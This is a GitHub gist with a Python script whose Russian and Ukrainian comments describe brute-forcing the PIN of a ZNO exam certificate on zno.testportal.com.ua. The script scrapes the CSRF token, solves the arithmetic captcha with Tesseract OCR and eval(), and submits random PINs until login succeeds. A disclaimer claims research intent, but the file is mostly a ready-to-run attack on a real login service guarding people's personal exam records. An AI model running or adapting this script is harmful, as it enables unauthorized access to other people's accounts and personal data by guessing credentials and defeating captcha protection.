Skip to content

Instantly share code, notes, and snippets.

@MrOnlineCoder
Created June 16, 2019 16:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MrOnlineCoder/5d30bda30babd0ff5bf9e9661063afbd to your computer and use it in GitHub Desktop.
Save MrOnlineCoder/5d30bda30babd0ff5bf9e9661063afbd to your computer and use it in GitHub Desktop.
PIN Bruteforce for ZNO Certificate
# ZNO Certificate Bruteforce
# by MrOnlineCoder
# 2019
# ==========================
# Данный скрипт выполняет брутфорс на сайт УЦОЯО
# для подбора PIN кода от сертификата ЗНО
#
# Использование: python brute.py cert year
# Где cert - 7 значный номер сертификата, а year - год выдачи
#
# Системные требования:
# - установленный Python 3
# - модуль Python Requests
# - модуль pytesseract
# - установленный Tesseract OCR (а также наличие его бинарника tesseract.exe в PATH)
# - файл конфигурации zno в папке Tesseract OCR/tessdata/configs
# Содержание файла zno (создайте такой файл и запишите следующие данные):
# tessedit_char_whitelist 0123456789-+=
# На каждый запрос будет сохранена капча с соотвественным токеном CSRF в названии.
#
# Примечание: скрипт работает ТОЛЬКО на первые 5-10 попыток, так как на API
# testpotal.com.ua стоит защита от брутфорса (в ответе будете получать ошибку "bruteforce")
#
# Скрипт построен на основании сайта версии от 16.06.2019
# Ход работы:
# 1. Получить страницу входа (/info/login),
# 2. Вытянуть от туда с помощью регулярных выражений CSRF токен и адрес капчи
# 3. Сохранить капчу в файл, записав результат запроса на /info/captcha
# 4. С помощью Tesseract OCR, распознать капчу, получить математическое выражение в виде строки
# 5. Вычислить результат выржения из п. 4 с помощью eval()
# 6. Попробовать выполнить вход POST /info/_login
# 7. Если тело ответа == 'accept' - данные для входа правильные.
# DISCLAIMER:
# Це програмне забезпечення було зроблено виключно в дослідницьких/наукових цілях,
# для вдосконалення навичок в сфері програмування та кібербезпеки.
# Автор коду НЕ залучає, НЕ виконує та НЕ підтримує взлом електронних систем або персональних даних.
# Автор коду НЕ несе відповідальності за будь який збиток нанесений
# електронним системам або персональним даним фізичним або юридичним особам.
import pytesseract
import sys
import argparse
try:
import Image
except ImportError:
from PIL import Image
from subprocess import check_output
import requests
import re
from io import BytesIO
import random
def getLoginPageAndCookie():
session = requests.Session()
lr = session.get('https://zno.testportal.com.ua/info/login')
return lr.text, session.cookies.get_dict()
def findToken(page):
m = re.search('<input type="hidden" name="_token" value="(.+?)">', page)
if m:
found = m.group(1)
return found
def findCaptchaUrl(page):
m = re.search('title="Показати іншу дію" src="(.+?)">', page)
if m:
found = m.group(1)
return 'https://zno.testportal.com.ua'+found
def getCaptchaAndCookies(url, cookies):
session = requests.Session()
cr = session.get(url, cookies=cookies)
return cr.content, session.cookies.get_dict()
def saveCaptcha(token, data):
path = token+'.png'
i = Image.open(BytesIO(data))
i.save(path, 'png')
return path
def resolveCaptcha(path):
return pytesseract.image_to_string(path, config='output nobatch zno')
def getCaptchaResult(text):
return eval(text[:-1])
def tryLogin(cert, pin, year, token, captcha, cookie):
session = requests.Session()
_cookies = cookie;
r = session.post('https://zno.testportal.com.ua/info/_login', data = {
'_token': token,
'info[CertNum]': cert,
'info[CertPIN]': pin,
'info[CertYear]': year,
'info[captcha]': captcha
}, headers = {
'Host': 'zno.testportal.com.ua',
'Origin': 'https://zno.testportal.com.ua',
'Referer': 'https://zno.testportal.com.ua/info/login',
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-TOKEN': token,
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36'
}, cookies = _cookies);
return str(r.status_code), r.text
def attemptLogin(cert, year, pin):
page, cookies1 = getLoginPageAndCookie()
token = findToken(page)
url = findCaptchaUrl(page)
captcha, cookies2 = getCaptchaAndCookies(url, cookies1)
savedCaptchaPath = saveCaptcha(token, captcha)
captchaText = resolveCaptcha(savedCaptchaPath)
captchaResult = getCaptchaResult(captchaText)
status, text = tryLogin(cert, pin, year, token, captchaResult, cookies2)
print(cert +' @ '+year+' (PIN '+pin+') ==> HTTP '+status+' | '+text)
return text
def tryCertLogin(cert, year):
lastText = 'error'
lastPin = 1000
while not lastText == 'accept':
lastPin = random.randint(1000, 9999)
lastText = attemptLogin(cert, year, str(lastPin))
print('[!] Process finished! Certificate '+cert+'@'+year+' cracked, PIN='+lastPin)
if __name__=="__main__":
argparser = argparse.ArgumentParser()
argparser.add_argument('cert',help = 'ZNO Certificate Number (7 digits)')
argparser.add_argument('year',help = 'ZNO Certificate Year of Issue')
args = argparser.parse_args()
tryCertLogin(args.cert, args.year)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment